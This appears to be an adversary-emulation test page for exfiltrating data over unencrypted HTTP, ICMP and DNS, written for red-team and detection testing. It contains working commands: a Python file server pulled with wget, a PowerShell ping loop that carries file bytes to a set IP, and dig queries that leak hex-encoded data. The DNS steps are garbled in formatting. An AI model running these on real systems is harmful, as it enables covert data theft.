Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.
-
Atomic Test #1 - Exfiltration Over Alternative Protocol - HTTP
-
Atomic Test #2 - Exfiltration Over Alternative Protocol - ICMP
-
Atomic Test #3 - Exfiltration Over Alternative Protocol - DNS
A firewall rule (iptables or firewalld) will be needed to allow exfiltration on port 1337.
Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded.
Supported Platforms: macOS, Linux
-
Victim System Configuration:
mkdir /tmp/victim-staging-area echo "this file will be exfiltrated" > /tmp/victim-staging-area/victim-file.txt
-
Using Python to establish a one-line HTTP server on victim system:
cd /tmp/victim-staging-area python -m SimpleHTTPServer 1337
-
To retrieve the data from an adversary system:
wget http://VICTIM_IP:1337/victim-file.txt
Exfiltration of specified file over ICMP protocol.
Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
input_file | Path to file to be exfiltrated. | Path | C:\Windows\System32\notepad.exe |
ip_address | Destination IP address where the data should be sent. | String | 127.0.0.1 |
$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }
Exfiltration of specified file over DNS protocol.
Supported Platforms: Linux
-
On the adversary machine run the below command.
tshark -f "udp port 53" -Y "dns.qry.type == 1 and dns.flags.response == 0 and dns.qry.name matches ".domain"" >> received_data.txt
-
On the victim machine run the below commands.
xxd -p input_file > encoded_data.hex | for data in
cat encoded_data.hex
; do dig $data.domain; done -
Once the data is received, use the below command to recover the data.
cat output_file | cut -d "A" -f 2 | cut -d " " -f 2 | cut -d "." -f 1 | sort | uniq | xxd -p -r